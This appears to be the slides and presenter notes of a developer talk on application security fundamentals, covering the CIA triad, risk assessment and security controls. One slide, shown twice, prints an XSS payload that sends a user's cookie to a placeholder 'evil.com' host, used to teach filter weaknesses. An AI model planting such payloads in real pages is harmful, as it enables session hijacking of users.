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Application Security Sucks?

(Original comic removed due to copyright – follow link)

http://www.dilbert.com/strips/search/?CharIDs=&After
=11%2F16%2F2007&Before=11%2F16%2F2007&Orde
r=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=
29&y=8

Presenter
Presentation Notes
How many of you have worked with somebody like Mordac, the preventer of information services?

This only slightly exaggerated example is what happens when a well-intentioned but misguided security professional tries to achieve “Maximum Security”.  Instead of security the result is dysfunction.

Application security sucks because it's a wicked hard problem to mix the goals of security and application development within real-life projects.

The goal of this talk is to help you wrap your brain around core concepts of application security, and thereby to make it easier to attack that problem effectively.

http://www.dilbert.com/strips/search/?CharIDs=&After=11%2F16%2F2007&Before=11%2F16%2F2007&Order=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=29&y=8
http://www.dilbert.com/strips/search/?CharIDs=&After=11%2F16%2F2007&Before=11%2F16%2F2007&Order=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=29&y=8
http://www.dilbert.com/strips/search/?CharIDs=&After=11%2F16%2F2007&Before=11%2F16%2F2007&Order=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=29&y=8
http://www.dilbert.com/strips/search/?CharIDs=&After=11%2F16%2F2007&Before=11%2F16%2F2007&Order=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=29&y=8


What is Security, Really?

It's simple - patches, firewalls, anti-virus and the latest 
security products

The product vendors would like you to believe that.

Presenter
Presentation Notes
You get a different answer each time depending on who you listen to.

This one isn’t quite right.



What is Security, Really?

Preventing and fixing known security holes like XSS, 
SQL injection and CSRF

A good web developer might say that.

Presenter
Presentation Notes
How many of you know how to fix all of these types of vulnerabilities?

Chris Shiflett and others have put out a wealth of practical information on how to do this.  So I don’t plan to repeat most of that information here.

While these things do apply to security, this is far from a complete definition.



What is Security, Really?

Efficiently detecting and blocking hacking attempts

Spoken like someone who has been in the trenches.

Presenter
Presentation Notes
Whack-a-mole at Internet speed.

This reflects the perspective of someone who has done security from the point of view of network operations.
�But again, not quite the right answer.



What is Security, Really?

Complying with security rules and requirements

Smells like bureaucrats - or maybe auditors.

Presenter
Presentation Notes
Hopefully the thousands (!) of requirements aren't constantly changing, poorly defined, contradictory, or ill-conceived... nah, that wouldn't happen.

With more variations than we can count, there has to be a better way to get a handle on security.



What is Security, Really?

So what is it, really?

Security is keeping bad events to a minimum -
despite even skillful attempts to cause them.

Presenter
Presentation Notes
That’s my simplest, broadest and most fundamental definition of security. Everything else derives one way or another from that basic goal.
 
In other words, if application development is traditionally focused on making an app do what it's supposed to do, then application security is about making sure an app doesn't do what it's not supposed to do, taking into account real world conditions which may be hostile and chaotic.

As the news headlines remind us, there’s a growing community of people who are actively trying to make those bad things happen, with a wide variety of increasingly powerful motivations, tools and knowledge.

So what does it mean to keep “bad events” to a minimum? What are these bad things? 
 



Bad Events - Confidentiality

Sensitive information in the wrong hands or exposed:

http://www.comp.leeds.ac.uk/hannah/topright.jpg

Presenter
Presentation Notes
It’s bad to lose control of sensitive information, like credit card numbers or passwords, allowing it to go where harm can result.
 


http://www.comp.leeds.ac.uk/hannah/topright.jpg


Bad Events - Integrity

Unauthorized alteration, deletion, or addition of 
information, transactions, or system functionality:

http://www.engadget.com/2007/02/25/windows-
based-atm-machine-hacked-gets-painted/

Presenter
Presentation Notes
It’s bad to lose integrity of your information and your systems, allowing data to be altered, systems to be broken into, transactions to be falsified or erased, etc.
�Hopefully, this kind of thing doesn't affect anything really serious like nuclear power plants ... air traffic control ... voting machines ... 

Just imagine if voting machines lacked proper security controls and could be tampered with, allowing election results to be altered and preventing reliable recounts and audits.  Oh wait, that's our situation now, according to reports in Ohio and other states.  I saw a presentation this year by Ohio investigators demonstrating how ridiculously easy it can be for someone with malicious intentions to insert false votes, throw off the touch screen calibration, gain physical access to electronic components, etc.
 


http://www.engadget.com/2007/02/25/windows-based-atm-machine-hacked-gets-painted/
http://www.engadget.com/2007/02/25/windows-based-atm-machine-hacked-gets-painted/


Bad Events - Availability

Services unavailable or unreliable:

http://www.tensionnot.com/images/images/slideshow/
Priceless490.jpg

Presenter
Presentation Notes
It’s bad for services to be unreliable or unavailable to those who legitimately are trying to use them.
 


http://www.tensionnot.com/images/images/slideshow/Priceless490.jpg
http://www.tensionnot.com/images/images/slideshow/Priceless490.jpg


So What to Do About This?

First, identify what you have that needs protection.

• Sensitive customer data
• Confidential business information
• Computer-based services that are vital to business 

operations
• Regulated data or processes

What is it?

Where is it?

How does the system process and transmit it?



So What to Do About This?

Second, understand the risks and damage that bad 
events can cause.

How and where are your systems vulnerable?

How much damage would be caused by:

• Leaking medical records
• Tampering with financials
• System takedown

How likely is it that such things would happen?

What will that mean in terms of money?



A Tangent on Vulnerabilities

What's wrong with this?

$passwordHash = hash('sha1', $password);

$Connection = new RemoteService("http://remote.com/svc", 
$username, $passwordHash);



A Tangent on Vulnerabilities

What's wrong with this?

$passwordHash = hash("sha1", $password);

$Connection = new RemoteService("http://remote.com/svc", 
$username, $passwordHash);

Better:

$Connection = new RemoteService("https://remote.com/svc", 
$username, $password);

Presenter
Presentation Notes
Hashing the password doesn't help because the network connection is unencrypted.  An attacker can capture and replay the password hash.  Better to encrypt the connection and not worry about the password itself:




A Tangent on Vulnerabilities

Suppose an application's XSS filter allows <img> tags.

<img src="javascript:window.navigate('http://evil.com/steal-
cookie.php?c='+document.cookie);">

What are the conseqences of allowing that through?

Presenter
Presentation Notes
Who can tell me, what sensitive information may be contained in the cookie?



A Tangent on Vulnerabilities

Suppose an application's XSS filter allows <img> tags.

<img src="javascript:window.navigate('http://evil.com/steal-
cookie.php?c='+document.cookie);">

The browser sends a copy of the cookie to the script at 
evil.com.  

Presenter
Presentation Notes
If the cookie contains a session token, then somebody at evil.com can now impersonate the logged-in user.

Countermeasures include using a whitelist approach to the XSS filter and applying anti-session-hijacking techniques.





A Tangent on Vulnerabilities

WordPress Cookie Authentication Vulnerability:

http://www.lightbluetouchpaper.org/2007/11/20/word
press-cookie-authentication-vulnerability/

http://www.cl.cam.ac.uk/~sjm217/advisories/wordpres
s-cookie-auth.txt

Fixed:

http://trac.wordpress.org/ticket/2394

Presenter
Presentation Notes
The authors of the code involved probably thought they were doing security correctly by using 1-way hash of passwords in the database and a double-hash of passwords for authentication cookies.

This advisory does a nice job of explaining why this method doesn’t work and how hackers were able to exploit the vulnerability to gain admin access to WordPress blogs.

Fixed in WordPress 2.5 by implementing phpass.

http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/
http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt
http://trac.wordpress.org/ticket/2394


A Tangent on Vulnerabilities

Application vulnerabilities are not limited to the 
application code.

• Physical access
• Server platform configuration
• Handling of passwords and private keys
• Temporary system changes during a crisis

Presenter
Presentation Notes
Kevin Mitnick often found the weakest link in security to be the people and surrounding environment.

If your responsibility is code, then who is responsible to cover these things?



So What to Do About This?

Third, decide what protective measures to take.

• Require users to prove their identity
• Filter Input, Escape Output (ref: Chris Shiflett)
• Security audits of high-value (high-risk) systems
• In-house unit testing and scenario testing
• Secure hosting environment

Presenter
Presentation Notes
There’s a wealth of information on security controls - literally thousands of pages within DoD alone.
 
The value is in knowing what's most relevant and in achieving a sane balance.

Security has a long tail.  While it’s especially important to handle the top few security issues, a large part of the total system risk is contained in the tail of the list.  Nevertheless, you (or whoever owns the system), must decide where to cut off the tail in order to achieve a balance of risk vs cost vs benefit.



So What to Do About This?

Fourth, implement your chosen security controls.

• Organizational support and resources to do the right 
thing

• Qualified people & tools
• Focus
• Verify correctness of implementation

Execute. Execute. Execute.

Presenter
Presentation Notes
It’s far cheaper to implement security before launch rather than after.



So What to Do About This?

Fifth, continue to re-evaluate and update your security 
over time as changes happen.

• Malicious hackers get smarter and develop better 
tools

• New vulnerabilities are discovered and accumulate
• Application requirements change
• Human beings create regressions and other bugs

This follow-through should cover the entire life cycle.

Presenter
Presentation Notes
Security controls decay over time over the natural course of operating a system.  



Conclusion

Mental framework for security:

• Fundamental concepts
• Awareness of situation
• Design decisions based on risk vs cost
• Implementation (design and operation)
• Follow-through

Security up... Pain down... Sucks less.

Presenter
Presentation Notes
I hope this talk has given you some tools to help with that.

Cut to the core of security without getting bogged down in minutae.  Then you can tackle the details according to greatest need and value, and efficiently integrate security into the development lifecycle.
 




Resources

http://www.owasp.org
http://phpsec.org
http://phpsecurity.org
http://www.sans-ssi.org
http://www.webappsec.org
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